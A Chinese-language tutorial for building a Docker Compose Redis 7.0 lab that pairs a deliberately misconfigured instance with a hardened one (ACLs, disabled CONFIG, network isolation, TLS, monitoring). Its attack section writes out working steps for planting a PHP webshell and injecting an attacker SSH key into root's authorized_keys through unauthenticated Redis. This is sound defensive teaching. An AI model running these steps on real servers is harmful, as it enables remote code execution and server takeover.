从攻击到防御:手把手教你用Docker Compose搭建一个安全的Redis 7.0靶场环境
Redis作为现代应用架构中的核心组件,其安全性往往被开发者低估。去年某电商平台因Redis未授权访问导致千万用户数据泄露的事件,再次敲响了数据安全的警钟。本文将带你从零构建一个既能模拟攻击场景又能验证防御措施的Redis实验环境,这种"攻防一体"的设计思路,正是当前企业安全团队内部红蓝对抗演练的标准做法。
1. 实验环境设计与准备
1.1 为什么选择Docker Compose
传统虚拟机搭建的靶场存在资源占用高、配置复杂等问题。我们使用Docker Compose方案具有三大优势:
- 环境隔离性:每个Redis实例运行在独立网络命名空间
- 快速重置:
docker-compose down && docker-compose up即可恢复初始状态 - 配置即代码:所有安全参数通过YAML文件版本化管理
1.2 基础环境配置
首先创建项目目录结构:
mkdir redis-range && cd redis-range touch docker-compose.yml mkdir {vulnerable,secured}/data安装必备工具(以Ubuntu为例):
sudo apt update && sudo apt install -y \ docker.io \ docker-compose-plugin \ redis-tools提示:生产环境应使用官方Docker仓库而非系统自带版本
2. 漏洞场景构建
2.1 典型危险配置复现
在docker-compose.yml中配置漏洞版本服务:
version: '3.8' services: redis-vul: image: redis:7.0 ports: - "6379:6379" volumes: - ./vulnerable/redis.conf:/usr/local/etc/redis/redis.conf command: redis-server /usr/local/etc/redis/redis.conf对应的危险配置vulnerable/redis.conf:
protected-mode no bind 0.0.0.0 save 900 1 dir /data dbfilename dump.rdb关键风险点说明:
| 配置项 | 危险值 | 安全值 | 风险说明 |
|---|---|---|---|
| protected-mode | no | yes | 允许未认证访问 |
| bind | 0.0.0.0 | 127.0.0.1 | 暴露到公网 |
| dir | /data | 受限目录 | 任意文件写入 |
2.2 攻击手法实战演示
启动环境后,我们模拟三种典型攻击:
Webshell写入攻击流程:
- 连接未授权Redis:
redis-cli -h 127.0.0.1 - 设置Web目录:
CONFIG SET dir /var/www/html - 写入恶意代码:
SET payload "<?php system($_GET['cmd']);?>" CONFIG SET dbfilename shell.php SAVE
SSH公钥注入对比测试:
# 生成密钥对 ssh-keygen -t rsa -f attacker_key (echo -e "\n\n"; cat attacker_key.pub; echo -e "\n\n") > key.txt # 注入公钥 cat key.txt | redis-cli -x SET crackit redis-cli CONFIG SET dir /root/.ssh/ redis-cli CONFIG SET dbfilename "authorized_keys" redis-cli SAVE3. 防御体系构建
3.1 基础安全加固
创建安全版本配置secured/redis.conf:
protected-mode yes bind 127.0.0.1 requirepass Str0ngP@ssw0rd rename-command CONFIG "" aclfile /usr/local/etc/redis/users.acl对应的Docker服务配置:
redis-sec: image: redis:7.0 ports: - "6380:6379" volumes: - ./secured/redis.conf:/usr/local/etc/redis/redis.conf - ./secured/users.acl:/usr/local/etc/redis/users.acl3.2 ACL精细化控制
Redis 6.0+的ACL系统支持用户粒度的权限控制。创建users.acl文件:
user default off user admin on >AdminP@ss123 ~* &* +@all user appuser on >UserP@ss456 ~cache:* &pubsub +get +set权限说明表格:
| 用户类型 | 密码强度 | 键空间 | 通道权限 | 命令权限 |
|---|---|---|---|---|
| admin | 高强度 | 全部 | 全部 | 全部命令 |
| appuser | 中强度 | cache:* | pubsub | 仅GET/SET |
3.3 网络层防护
在Compose文件中添加网络隔离:
networks: redis-net: driver: bridge internal: true然后修改服务配置:
services: redis-sec: networks: - redis-net ports: - "127.0.0.1:6380:6379"4. 攻防对比验证
4.1 未授权访问测试
对两个实例分别执行:
redis-cli -h 127.0.0.1 INFO SERVER # 漏洞版本成功 redis-cli -h 127.0.0.1 -p 6380 INFO SERVER # 返回认证错误4.2 文件写入防御验证
尝试在安全实例上重复Webshell攻击:
AUTH wrongpassword # 认证失败 AUTH AdminP@ss123 CONFIG SET dir /var/www/html # 返回命令不存在错误4.3 主从复制攻击防护
安全配置下主从复制需要认证:
SLAVEOF 192.168.1.100 6379 (error) NOAUTH Authentication required.5. 监控与日志分析
5.1 审计日志配置
在安全配置中添加:
acllog-max-len 1024 slowlog-log-slower-than 10000监控关键指标:
# 实时监控异常登录 docker logs -f redis-sec | grep 'Auth failed' # 分析慢查询 redis-cli -p 6380 -a AdminP@ss123 SLOWLOG GET 105.2 安全事件告警
使用Prometheus监控Redis指标:
# prometheus.yml 配置示例 scrape_configs: - job_name: 'redis' static_configs: - targets: ['redis-sec:9121']关键告警规则:
groups: - name: redis-alerts rules: - alert: RedisAuthFailures expr: rate(redis_auth_errors_total[1m]) > 5 for: 2m6. 进阶安全实践
6.1 客户端证书认证
配置TLS双向认证:
tls-port 6379 tls-cert-file /etc/redis/redis.crt tls-key-file /etc/redis/redis.key tls-ca-cert-file /etc/redis/ca.crt tls-auth-clients yes生成证书的OpenSSL命令:
openssl genrsa -out ca.key 4096 openssl req -x509 -new -key ca.key -days 3650 -out ca.crt6.2 内核级防护
使用SELinux限制容器:
semanage port -a -t redis_port_t -p tcp 6380 setsebool -P container_manage_cgroup 1关键SELinux策略:
| 策略 | 值 | 作用 |
|---|---|---|
| redis_port_t | 6380 | 仅允许指定端口 |
| container_manage_cgroup | on | 允许容器资源限制 |
7. 自动化安全测试
7.1 使用redis-security-checker
docker run --network host --rm \ redis-security-checker \ -h 127.0.0.1 -p 6380 \ -a AdminP@ss123 \ --level paranoid测试报告示例:
- [PASS] 密码复杂度检查 - [WARN] 未启用内存碎片整理 - [FAIL] 未配置RDB加密7.2 CI/CD集成示例
GitLab CI配置片段:
security_test: image: docker:latest services: - docker:dind script: - docker-compose up -d - docker run --network host --rm redis-security-checker ... - docker-compose down在项目实践中,我们发现最容易被忽视的是ACL的定期审计。曾经有个案例,开发人员离职后其账户仍具有写权限,导致数据被恶意篡改。建议结合Vault等工具实现动态凭证管理,将密码生命周期控制在24小时内。